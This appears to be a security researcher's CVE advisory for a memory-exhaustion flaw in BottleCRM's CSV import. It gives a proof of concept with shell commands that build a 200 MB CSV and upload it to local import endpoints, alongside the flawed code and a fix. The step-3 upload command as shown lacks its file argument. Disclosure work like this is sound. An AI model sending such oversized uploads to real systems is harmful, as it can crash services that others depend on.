← Back to CVEs
BottleCRM

CVE-2026-110595 - BottleCRM 0.45 through 1.14.5 Memory Exhaustion via Contact and Case CSV Import

October 2026 — Common Vulnerabilities and Exposures (CVE)

A GitHub repository version of this disclosure can be read here: CVE-2026-110595.


DetailInformation
CVE RecordCVE-2026-110595
Severity5.3 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N)
4.3 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L)
Date Published2026-10-14
Software NameBottleCRM
Affected Version(s)0.45 through 1.14.5
Software Linkhttps://github.com/django-crm/django-crm
VendorMicroPyramid
Researcher CreditsAaron Amran Bin Amiruddin (@aaronamran)

Description

BottleCRM 0.45 through 1.14.5 contains an uncontrolled memory allocation vulnerability in _read_upload() that reads entire CSV uploads before enforcing the 5 MB limit. Authenticated users with mass-import permission can send oversized CSV files concurrently to /api/contacts/import/ and /api/cases/import/ endpoints to exhaust worker memory and trigger out-of-memory termination.


Proof-of-Concept

1. Obtain fresh admin token.

ADMIN=$(docker exec django-crm-backend-1 python manage.py devlogin "aswin.1231@gmail.com" --org "37ec1695-79ee-4ddb-82df-36b8fc05de21" 2>/dev/null | grep "access_token:" | awk '{print $2}')

2. Create a 200 MB CSV file.

python3 -c "
with open('/tmp/opencode/big200.csv','w') as f:
    f.write('name,description\n')
    chunk = 'v' + 'x'*180 + ',d' + 'y'*180 + '\n'
    for _ in range(540000): f.write(chunk)
"
ls -la /tmp/opencode/big200.csv

# → -rw-rw-r-- 1 kali kali 196560017 Oct 14 11:17 /tmp/opencode/big200.csv

3. Upload Cases Import (throttled to observe timing).

curl -sS -m 300 --limit-rate 8M -X POST "http://127.0.0.1:8000/api/cases/import/preview/" \
    -H "Authorization: Bearer $ADMIN" \
    -o /tmp/opencode/import_resp.json \
    -w "\nHTTP:%{http_code} SIZE:%{size_download} TIME:%{time_total}s\n"

# → HTTP:400 SIZE:61 TIME:23.591071s

4. Contrast with Leads Import (bounded).

curl -sS -m 300 --limit-rate 8M -X POST "http://127.0.0.1:8000/api/leads/import/preview/" \
    -H "Authorization: Bearer $ADMIN" \
    -F "file=@/tmp/opencode/big200.csv;type=text/csv" \
    -w "\nHTTP:%{http_code} TIME:%{time_total}s\n"

# → {"error":true,"message":"File exceeds the 5 MB upload limit"}
HTTP:400 TIME:23.087829s

Vulnerable Code Section

MAX_UPLOAD_BYTES = 5 * 1024 * 1024  # 5 MB

def _read_upload(request):
    upload = request.FILES.get("file")
    ...
    file_bytes = upload.read()                    # ← reads entire body first
    if len(file_bytes) > MAX_UPLOAD_BYTES:        # ← check is too late
        return None, Response({"error": True, "message": "File exceeds the 5 MB upload limit"}, ...)
    return file_bytes, None    

Recommended Fix

file_bytes = upload.read(MAX_UPLOAD_BYTES + 1)    # ← OS stops reading at limit
if len(file_bytes) > MAX_UPLOAD_BYTES:
    return None, "File exceeds the 5 MB upload limit"

Timeline



See you in the next hack.

@aaronamran

October 2026